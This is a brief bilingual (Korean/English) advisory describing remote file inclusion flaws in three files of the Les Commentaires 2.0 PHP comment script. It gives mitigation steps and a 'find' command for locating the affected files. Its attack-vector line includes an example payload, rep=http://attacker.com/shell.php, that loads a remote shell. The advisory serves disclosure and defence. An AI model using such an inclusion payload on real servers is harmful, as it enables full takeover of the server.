🇰🇷 한글 설명
Les Commentaires 2.0의 fonctions.lib.php, derniers_commentaires.php, admin.php에 원격 파일 포함 취약점이 존재합니다. rep 매개변수를 통해 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트 댓글 프로그램이 사용자가 보낸 파일 경로를 검증하지 않아, 해커가 외부 악성 파일을 실행시킬 수 있습니다. 이를 통해 서버를 완전히 장악당할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in (1) fonctions.lib.php, (2) derniers_commentaires.php, and (3) admin.php in Les Commentaires 2.0 allow remote attackers to execute arbitrary PHP code via the rep parameter.
📍 영향받는 시스템
Les Commentaires 2.0 이하 버전
⚔️ 공격 벡터
HTTP GET/POST 요청의 rep 파라미터에 원격 파일 경로 입력 (예: rep=http://attacker.com/shell.php)
🛡️ 대응 방법
Les Commentaires를 최신 버전으로 업그레이드하거나 rep 파라미터에 대한 입력 검증 및 필터링 추가
🔧 검증 코드
파일이 발견되면 해당 버전 확인 및 파라미터 검증 로직 검토 필요, 파일이 없으면 해당 소프트웨어가 설치되지 않은 상태
find / -name 'fonctions.lib.php' -o -name 'derniers_commentaires.php' 2>/dev/null | head -5